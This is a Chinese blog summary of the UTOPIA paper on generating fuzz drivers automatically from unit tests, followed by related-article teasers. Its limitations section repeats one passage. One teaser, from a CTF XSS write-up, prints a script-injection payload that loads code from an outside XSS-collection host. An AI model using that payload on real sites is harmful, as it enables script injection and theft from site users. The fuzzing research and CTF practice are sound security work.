UTOPIA Automatic Generation of Fuzz Driver using Unit Tests

news2024/11/15 8:36:27

UTOPIA: Automatic Generation of Fuzz Driver using Unit Tests

image-20230706162948268

这篇论文主要由三星研究院发表于2023 IEEE Symposium on Security and Privacy (SP)会议上

论文获取链接: https://gts3.org/assets/papers/2023/jeong:utopia.pdf

背景

模糊测试分为两种:

  • 将整个程序看作一个黑盒使用模糊测试对其进行端到端的测试

  • 基于库的模糊测试:库模糊器需要人工参与并与库函数进行深度集成,这个过程称为Fuzzer Drivers,它描述了处理模糊器提供的输入的一系列API调用

与第一种相比,第二种模糊测试能更加高效的发现程序中存在的脆弱点,针对第二种方法,为了提高模糊测试的执行效率,高质量的Fuzzer Drivers 应该首先制定一个适当的API调用序列,以此来详尽的探索程序状态。

而如何更加高效准确的获得程序的调用序列,通过对单元测试进行分析,作者提出了以下发现:

  • 现有的单元测试明确传达了开发人员关心的对API的依赖关系
  • 单元测试检查具有更多API的库所提供的功能的各个方面,而不是目标程序
  • 许多现有项目都有编写良好的单元测试

基于此,作者提出将现有的单元测试以自动化和可扩展的方式转换为有效的fuzzer Driver


已有的解决方案

AFL及在其基础上进行的改进的Fuzzer:

  • 通过插装来获取覆盖信息,但大多数都集中在使用文件或命令作为输入的模糊测试程序上

Library Fuzzing:要求对目标库有深入了解

  • FuzzBuilder 提出了一个将UT转换为模糊驱动程序的工具,但需要手动配置来指定测试功能和目标API参数以生成模糊驱动程序,而最终驱动程序的质量很大程度取决于手工工作

自动模糊驱动生成

  • Fudge寻找缓冲区访问参数签名并提取依赖的代码行组成fuzz驱动程序
  • FuzzGen静态分析API依赖并将他们合并为fuzz驱动程序的长API调用序列
  • 这两项工作都是从目标代码中推断API的使用情况,导致无效或效率较低。Fudge需要手工在循环中评估和更新模糊测试驱动,FuzzGen需要人工审查过程来修复生成的驱动程序
  • WINNIE通过自动生成模糊测试驱动程序和快速克隆Windows进程来模糊Windows上的闭源库
  • APICraft 针对MacOS SDK的闭源库
  • 两者都通过执行目标程序在运行时直接跟踪API序列,但这两种方法并不适合大规模采用

本文提出的方法

生成高质量的模糊驱动首先要解决两个问题

  • 合成有效的API调用序列

  • 合成有效的API调用参数

解决这两个挑战可以避免引入人工分析来解决由于无效API的使用导致的虚假崩溃的情况

image-20230708173424809

图1是一个包含用于读取或写入OpenCV库中原始数据的API的UT, UTOPIA可以用它生成一个重现CVE-2019-5063的模糊驱动程序。基本上,UTOPIA通过对原始UT代码进行微小更改来将UT转换为模糊驱动程序,以便将模糊输入分配给作为API参数来源进行分析的现有变量。例如,在图1中,UTOPIA分别将第5、9、14、22行转换为第6、10、18、23行,并插入一条赋值语句(第17行),为影响api调用参数的变量提供模糊输入。请注意,API的某些参数故意不模糊,因为UTOPIA分析改变它们可能会导致严重的虚假崩溃

合成有效的API调用序列

生成模糊驱动程序的一个主要挑战是确定调用哪个库API以及以什么顺序调用它们,因为API可能经常具有严格的顺序依赖关系,正如我们在上图的示例中所观察到的那样:FileStorage()→writeRaw()→release()。因此,为模糊驱动程序构建随机的API序列可能只是浪费了模糊测试的努力(例如,在release()之后调用writeRaw()而没有调用构造函数导致的任何崩溃将被认为是虚假的崩溃而不是错误)。想要生成高质量的模糊驱动,首先需要知道目标程序调用了哪些库以及他们的调用顺序,现有的研究通过直接对调用代码进行分析来获取整个API使用模式,但对于复杂的调用代码,存在提取的模式过于臃肿的问题,这导致驱动程序可能调用大量的API调用而导致空间膨胀而影响模糊效率另一种方法是限制用于生成单个模糊驱动程序的调用代码数量,这会导致获取的API序列并不完整,产生虚假的崩溃。

基于现有研究的不足,作者提出使用单元测试中编写的显式API序列来完全避免API序列合成的挑战,首先,单元测试(UT)存在以下优势:

  • UT中每个测试用例的库状态的显式构建意味着在生成模糊驱动时没有API模式推断或提取的负担
  • UT测试与模糊驱动程序的目的是一致的,设计的测试用例都是针对开发人员认为非常重要的特定变量或属性
  • 不容易生成臃肿的API调用序列
合成有效的API调用参数

对于一个完整的程序,既有API内的调用,也有API之间的调用关系,因此,在推断API调用序列时,还需要了解API内部和API之间的逻辑,并根据他们的语义关系适当地分配模糊输入值,例如上图的FileStarage的类对象fs的不同库API调用关系

作者提到,在API之间主要存在以下三种关系:

  • out-to-in :一个API输出作为另一个的输入
  • fixed :参数在API调用中应一致
  • relative:不同的APIs的参数从相同的值派生,如x=f(y),API_1(x);z=x+g(y),API_2(z)

例如var a=3 - > b=func(a);->Target_API(b) 这里在模糊测试赋值时如果不关注API间的调用可能会直接对b进行赋值而不是a。

而对于API内部,则主要存在以下两种调用关系:

  • array<->length 一个输入参数表示另一个输入参数的长度
  • array<->index 一个输入参数是另一个输入参数的索引

例如,Mat类构造函数中的第一个参数(图1中的第14行)要求在第二个和第四个参数中声明的数组大小之间保持对应。如果这些是随机模糊的,驱动程序通常会导致段错误(size参数>数组的实际大小),或者浪费精力来改变未使用的模糊输入字节(size参数<数组的实际大小)。

作者提出通过保留UT中的原始数据流,使用静态分析找到模糊输入的位置以及它们是如何突变的。为了识别注入模糊输入的合适位置,引入根定义这一概念,这是一个赋值语句,其中变量由常量定义,通过仅在根定义上分配模糊输入,保留原始数据流和现有的API间语义。

在图1中,UTOPIA通过将模糊输入赋值给根定义(第23行),将模糊输入传递给writeRaw() API中的第三个参数rawdata(第31行),其中向量rawdata的每个元素都被赋值为常量。

定位根定义后,UTOPIA根据分析的属性为从根定义接收其值的API参数注入模糊输入,例如,在Mat类的构造函数中(图1中的第18行),UTOPIA推断出数组↔长度关系,并将dim(数组属性)的大小分配给第18行上的第一个参数(ArrayLength属性)和第17行上具有模糊输入的每个元素。

单元测试存在的挑战
  • 分析障碍 :一些UT框架通常由复杂的类层次结构和接口混合定义的,通过这些接口,用户定义的测试用例被间接调用,使用现有方法从单元测试生成的驱动程序可能会导致虚假的崩溃,需要在进行有意义的模糊测试之前进行手动修复。动态分析可以管理间接调用,但由于过度近似和参数值之间关联语义的困难,它不适合。
  • UT框架的多样性:
  • 断言:由于UT中的断言不仅检查临界状态,而且还可用于根据UT中定义的特定测试值验证结果,因此必须考虑它们将如何影响模糊处理并适当地处理断言,因为将模糊输入输入到参数中很容易触发断言条件。如果所有断言都被忽略,指针上的nullptr检查将更有可能导致因解引用nullptr而导致的虚假崩溃。但是,如果强制执行所有断言,则测试值检查通常会阻止模糊驱动程序在断言语句之外执行。

为了解决以上问题,作者提出通过理解UT框架中使用的习惯语法来补充静态分析,同时在接下来的测试中也研究了几种基本策略来处理断言。

设计

image-20230708175433675

如上图所示是UTOPIA的整体工作流程

  • UTOPIA利用了UT框架的架构特性,因此只需要分析开发人员实现的测试功能,而不需要分析整个UT框架。
  • UTOPIA分析库以识别API参数的属性。
  • 执行UT分析以识别根定义,在不影响有效API使用语义的情况下注入模糊输入。
  • 根据分析结果进行驱动器合成。

image-20230708180032055

UT框架结构分析

一般来说,UT框架提供的API允许用户为每个测试用例定义三个功能,预测试、测试和后测试。如图三是gtest的UT框架,它向每个测试类公开了SetUp()、TestBody()和TearDown()接口(分别是前测试、测试和后测试)。这些功能隐式地确保1)每个测试用例仅依赖于那些功能,2)测试用例彼此独立。UTOPIA利用这些特性来构造有效的API序列,在一个模糊周期内显式地按顺序调用这些函数,以确保每个模糊周期的独立性。

为了定位这些函数,UTOPIA利用clang AST Matchers在抽象语法树(AST)上查找具有模式的函数。例如,在图3中,UTOPIA寻找一个CXXRecordDecl,其子节点中的Testing::Test类为CXXCtorInitializer。此后,通过在找到的CXXRecordDecl中搜索名称为SetUp的CXXMethodDecl,就可以找到SetUp。

API属性分析

UTOPIA将库的所有导出函数视为公开的API,并分析每个API参数以确定其属性。UTOPIA通过利用从API参数开始的自定义使用链来执行程序间分析,以确定五个属性:Output、FilePath、AllocSize、LoopCount和Array↔Length(索引)

模糊目标选择

UTOPIA可以向适当的模糊库API调用参数(即参数的根定义)插入模糊输入。原则上,这基本上是通过查找定义最终流入API参数的值的根定义来完成的。

根定义分析。根定义分析是一种反向数据流分析,其目的是获得右值为常数值的定义。当然,常量值不能从测试代码中其他语句中使用的任何其他变量中派生出来。因此,根定义中这些常数值的转换使UTOPIA能够在不违反测试代码语义的情况下注入模糊输入。特别是,UTOPIA从所有API参数执行根定义分析,以收集每个可能的模糊目标候选项。

如下图所示为,'int A=10’是识别到的唯一根节点。根节点的右值变化影响着每个API参数,同时保持API之间的关系,为了确定所有可能影响API参数的定义,分析是控制流敏感的和跨过程的,以找到所有可能影响API参数的定义。

image-20230708182424710

为了确定突变策略,UTOPIA必须将根定义与相应参数的属性配对。这是通过将参数属性分配给参数直接使用的根定义来实现的。例如,在图5中,根定义’ int A = 10 ‘具有API_1和API_2的第一个参数的属性。但是,API_4的第一个参数的属性没有被继承,因为根定义没有直接用于该参数。在根定义分析期间,通过’ int C = API_3(B) '将跟踪目标从C更改为B。如果跟踪目标是由外部函数定义的,UTOPIA将跟踪所有输入参数,以查找任何可能的定义。

模糊驱动的合成
模糊输入分配

UTOPIA通过用模糊输入赋值语句替换已识别的模糊目标,将每个测试用例转换为模糊驱动程序。在已识别的模糊目标中,如果无法修改其源代码或无法确定生成模糊输入的适当方法,则UTOPIA会排除某些根定义。排除标准如下:

  • 头文件或项目文件中的根定义
  • 在编译时确定的常量(例如sizeof(int))
  • 赋值带有外部函数的返回或输出参数(非输入参数)
  • 根定义带有nullptr赋值,因为不知道如何初始化指针引用的对象
  • 函数指针参数
  • 依赖于忽略值的值(例如忽略Array的ArrayLen)
  • 文件属性

排除后,UTOPIA根据赋值语句的数据类型和变异策略,将赋值语句的右值替换为模糊输入。

模糊回路构造。

TOPIA构建了一个入口函数,在每个模糊测试循环中调用一次。入口函数从模糊测试引擎(例如,libfuzzer)接收模糊输入,并按顺序调用识别和转换的测试函数(例如,gtest中的SetUp(), TestBody()和TearDown())来执行带有指定模糊输入的模糊驱动程序。

初始种子提取

UTOPIA在UT分析期间执行的一个简单而有效的过程是获取嵌入在测试代码中的初始种子语料库,这些语料库是根定义语句中确定为模糊目标的常数值。这些初始种子允许模糊驱动在模糊的早期阶段达到深度程序状态,并帮助模糊器将其探索扩展到深度路径


效果分析

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RzzpE8Vb-1688824637595)(https://gitee.com/tulz/tor-images/raw/master/imgs/image-20230708183346084.png)]

如图所示,在项目中的5,523个tc中,作者排除了1,039个使用原型实现中未处理的宏函数实现的tc(test case),即除了TEST和TEST F(用于gtest)或BOOST AUTO TEST CASE FIXTURE(用于boost)(Oths)之外的tc。对于剩余的4,484个tc,根据文章的排除标准,在确定根定义的过程中,UTOPIA删除了1,769个tc(占检查的4,484个tc的39%)。总的来说,UTOPIA自动从这些项目中可行的候选tc中生成所有2,715个模糊驱动程序。

总共发现了123个bug,其中109个是在25个OSS项目中生成的2715个模糊驱动程序的短时间运行发现的,其中有56个得到维护者的确认或修复;14个是在30个Tizen原生库生成的2411个fuzz驱动程序的大约两周发现的,其中一些已经潜伏长达七年,这些bug都被Tizen确认。UTOPIA在测试用例中使用完全相同的API序列但仍发现了新的错误,这说明利用TCs可以发现开发人员在测试期间错过的新类型的bug。使用UTOPIA为Tizen的30个项目生成了模糊驱动源代码,被该社区采用。

手动编写的模糊驱动应用在OSS-FUZZ上和自动生成模糊驱动的UTOPIA覆盖率对比:

image-20230708184222314

image-20230708184419937

如上面两图所示,UTOPIA的模糊驱动程序在6个项目中有4个项目的表现平均高出20.5%,在2个项目中表现不佳(平均为9.7%),但都存在unique coverage。

接下来作者还分析了对断言的不同处理方式对模糊测试的影响,如下图所示:

image-20230708184731659

可以看到忽略断言会对模糊测试产生不利影响。

image-20230708184849767

通过库分析获得的分析属性ArrayLength、AllocSize和LoopCount对减少由有害模糊输入引起的虚假崩溃和崩溃的影响。为了进行评估,我们从三个项目中选择了模糊驱动程序,这些项目通过删除其中一个属性进行比较来测试带有三个属性的API参数。如表5所示,没有ArrayLength或AllocSize属性的设置会导致崩溃的急剧增加,最多增加两个数量级,而覆盖率则略有增加。另一方面,如果没有LoopCount属性,在崩溃时不会观察到任何差异,但是exec/sec性能会显著下降,最高可达40%。对于assimp项目,当移除AllocSize属性时,与包含属性相比,覆盖率和exec/sec分别减少到37%和2%。在libtp项目的情况下,没有ArrayLength属性,覆盖率和exec/sec性能较差,崩溃增加了645倍。此外,leveldb中LoopCount的省略将exec/sec性能降低到41%。


效果

  • 几乎零人工参与的从现有的单元测试中有效合成模糊驱动
  • 将 UTOPIA 应用于55个开源项目库,包括 Tizen 和 Node.js,并从8K 个合格的单元测试中自动生成5K 个模糊驱动程序
  • 每核小时执行约500万次生成的fuzzers,发现了123个 bug
  • 2.4 K 生成的模糊驱动程序被应用到 Tizen 的持续集成过程中,表明了UTOPIT生成的模糊驱动的有效性

不足

  • 依然存在虚假崩溃 (只能平衡状态探索和虚假崩溃之间的关系)
  • 非常规关系,对一些非常规和高度自定义的参数和关系用法无法生成模糊驱动
  • 错误处理不足 开发人员在进行单元测试时会跳过对对象的正确构造和分配检查,硬编码一些非必要的参数,这种UT在成为模糊测试驱动时可能导致虚假报错
  • 文件路径的根定义:在某些测试用例中,文件路径字符串是通过多个字符串操作创建的。在这种情况下,如果UTOPIA创建一个用于模糊测试的文件,并在字符串的根定义处(在所有操作之前)分配其路径,则API访问的实际路径将是不正确的,为了避免这种情况,UTOPIA启发式地将生成的模糊文件路径分配给API之前最接近的字符串分配/操作。然而,由于这种启发式,UTOPIA可能无法在生成的模糊驱动程序中反映原始UT逻辑
    配检查,硬编码一些非必要的参数,这种UT在成为模糊测试驱动时可能导致虚假报错
  • 文件路径的根定义:在某些测试用例中,文件路径字符串是通过多个字符串操作创建的。在这种情况下,如果UTOPIA创建一个用于模糊测试的文件,并在字符串的根定义处(在所有操作之前)分配其路径,则API访问的实际路径将是不正确的,为了避免这种情况,UTOPIA启发式地将生成的模糊文件路径分配给API之前最接近的字符串分配/操作。然而,由于这种启发式,UTOPIA可能无法在生成的模糊驱动程序中反映原始UT逻辑
  • 逻辑中的常数值别名:当测试用例直接使用常量值时UTOPI可能难以生成合适的驱动程序

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/732212.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

整理FTP协议相关知识,撰写FTP服务器文件列表展示、文件上传、文件下载等代码案例和实现步骤细节;

1、FTP简介&#xff1a; FTP 是File Transfer Protocol&#xff08;文件传输协议&#xff09;的英文简称&#xff0c;而中文简称为“文传协议”。用于Internet上的控制文件的双向传输。同时&#xff0c;它也是一个应用程序&#xff08;Application&#xff09;。基于不同的操作…

Redis-Desktop-Manager连接时出现Can’t connect to redis-server

目录 1. Redis-Desktop-Manager连接需要四个参数 2.修改数据库配置文件 3.关闭防火墙 4.此时连接Redis-Desktop-Manager 1. Redis-Desktop-Manager连接需要四个参数 Name&#xff1a;自定义连接名 Host&#xff1a;redis服务器地址&#xff0c;在CentOS终端中使用命令&…

dubbo入门

Dubbo概述 官网&#xff1a; https://dubbo.apache.org Dubbo快速入门 1 安装zk 参考 https://blog.csdn.net/qq_34914039/article/details/131614771 2 实现步骤

人体扫描新技术:手机扫描生成3D人体模型

人体扫描是一种新兴的技术&#xff0c;它可以通过数字化的方式&#xff0c;再现人体的内部结构。这种模型的应用范围广泛&#xff0c;不仅可以应用于医学领域&#xff0c;还可以用于虚拟现实、游戏开发等各个领域。通过人体扫描生成模型&#xff0c;我们可以实时地观察人体内部…

【网络】TCP协议详解

目录 TCP协议格式 感性理解TCP报头 认识报头中的字段 序号和确认序号 4位首部长度 窗口大小 标记位 确认应答机制 超时重传机制 TCP协议格式 感性理解TCP报头 linux内核是用C语言写的&#xff0c;所以报头实际上就是一种结构化的数据对象&#xff0c;用伪代码可表示为…

23种设计模式总结

设计模式的本质是&#xff1a;“找到变化&#xff0c;封装变化” 设计模式的类型分为&#xff1a; 创建型&#xff1a;负责提供创建对象的机制 结构型&#xff1a;将对象或类组合成更大的结构&#xff0c;同时保持对外结构的不变&#xff0c;对内结构的灵活 行为型&#xff1a…

CTFHub XSS 过滤关键词 WriteUp

前文链接&#xff1a;DOM反射xss 这次直接浏览器输入payload&#xff0c;发现 script 被过滤掉了 </textarea>"><script srchttp://xsscom.com//cZ2vvZ></script>碰到这种情况不要慌&#xff0c;下面给出两种方法绕过过滤关键字。 双写绕过 <…

安装需要的第三方库时,命令行输入pip提示不是内部或外部命令

简介 在做Python开发时&#xff0c;安装需要的第三方库时&#xff0c;大多数人喜欢选择在命令行用pip进行安装。 然而有时敲入pip命令会提示‘pip’不是内部或外部命令。。如图&#xff1a; 解决办法 1、在python安装目录中找得到script文件夹&#xff0c;查看文件夹内部是否…

解锁开发成果的商业价值,云商店如何与开发者共赢未来?

从PC互联网时代到移动互联网时代&#xff0c;用户获取各种应用的方式越来越便捷&#xff0c;只需要动动手指就可以获得自己想要的各种应用&#xff1b;同样&#xff0c;任何一个开发者有好的创意&#xff0c;都可以开发出受欢迎的应用&#xff0c;并获得不菲的商业回报。 尽管…

1.Git使用技巧-基础原理

Git 使用技巧 文章目录 Git 使用技巧前言一、Git 安装二、搭建服务端仓库三、搭建客户端1. git 通信2. git支持的通信协议本地拉取代码3. 配置用户名和密码查看配置 查看git 帮助Git 工作流程总结参考 前言 Git 是一个开源的分布式代码版本控制系统&#xff0c;用于敏捷高效地…

sql分页查询

文章目录 前言一、mysql分页1. limit 102. limit 10,20 二、oracle分页1. ROWNUM2. OFFSET和FETCH 三、PostgreSQL1.LIMIT 42.LIMIT 3 OFFSET 2 总结 前言 分页查询作为数据库必不可少的功能&#xff0c;每家数据库厂商都有各自的标准&#xff0c;下面仅记录目前主流数据库。 …

E2. Rudolf and Snowflakes (hard version) codeforces1846E2

Problem - E2 - Codeforces 题目大意&#xff1a;在无向图中&#xff0c;初始有一个点&#xff0c;然后将k个点连接到1号点上&#xff0c;之后每次操作分别将k歌点连接到之前新加的点上&#xff0c;这样的操作至少有1次&#xff0c;t次询问&#xff0c;每次询问给出一个数n&am…

ubuntu系统自带的Text Editor编辑器不高亮解决办法

平时在写launch文件时&#xff0c;我喜欢用ubuntu系统自带的text编辑器&#xff0c;但发现使用text打开launch 文件时&#xff0c;没有高亮功能了&#xff0c;如下图所示&#xff1a; 解决办法非常简单&#xff0c;因为launch和xml文件语法规则类似&#xff0c;只需将text编辑…

Kotlin~Composite组合模式

概念 能够帮助实现树状结构的模式。 主要特点 递归组合树状结构统一处理所有对象 角色介绍 Component: 组合接口Leaf: 叶子节点&#xff0c;无子节点Composite&#xff1a;枝节点&#xff0c;用来存储子部件 UML 代码实现 interface Organ {fun personCount():Int } cla…

使用 Rust 实现连接远程 Linux 服务器、发送文件、执行命令

使用 Rust 实现连接远程 Linux 服务器、发送文件、执行命令 文章目录 使用 Rust 实现连接远程 Linux 服务器、发送文件、执行命令一、Rust 概述使用场景优点缺点 二、功能实现1、代码2、运行日志3、服务器文件 一、Rust 概述 Rust 已经听了无数遍&#xff0c;我很清楚它很强&am…

windows11终端窗口更换颜色布局

1.首先我们在windows商店下载powershell 2.访问ohmyposh下载字体https://ohmyposh.dev/docs/installation/fonts https://ohmyposh.dev/docs/installation/fonts 下载完成后解压-选择全部右键-显示更多选项-为所有用户进行安装 3.安装完成后打开power shell&#xff0c;选择设置…

批量生成工资条和恢复成工资表

一、问题的提出 人事、财务经常会用到工资条&#xff0c;如果手工添加比较麻烦&#xff0c;而且容易出错&#xff0c;我们可以通过录制宏&#xff0c;或者插入VBA代码的方法来解决。有了VBA后&#xff0c;我们可以定义按钮&#xff0c;绑定VBA代码&#xff0c;实现一键生成工资…

站在递归的角度上去“观赏”链式二叉树

&#x1f349;博客主页:阿博历练记 &#x1f4d6;文章专栏:数据结构与算法 &#x1f68d;代码仓库:阿博编程日记 &#x1f361;欢迎关注:欢迎友友们点赞收藏关注哦&#x1f339; 文章目录 &#x1f384;链式二叉树&#x1f50d;1.二叉树的框架&#x1f50d;2.二叉树的创建&…

浅谈RPC协议

RPC协议 RPC简介为啥需要RPCRPC的调用过程gRPCProtoBuffergRPC实战 RPC简介 RPC&#xff08;Remote Procedure Call Protocol&#xff09;远程过程调用协议&#xff0c;目标就是让远程服务调用更加简单、透明。RPC 框架负责屏蔽底层的传输方式&#xff08;TCP 或者 UDP&#x…

【数据结构】从树到二叉树

目录 ​编辑 一. 前言 二. 树的概念及结构----凉拌海带 2.1 什么是树 2.2 树的基本术语 2.3 树的表示 2.4 树在实际生活中的应用 二. 二叉树的概念及结构----扬州炒饭 2.1 什么是二叉树 2.2 二叉树两种特殊形式 2.3 二叉树的性质 2.4 二叉树的存储结构 三. 链式二叉树基本操…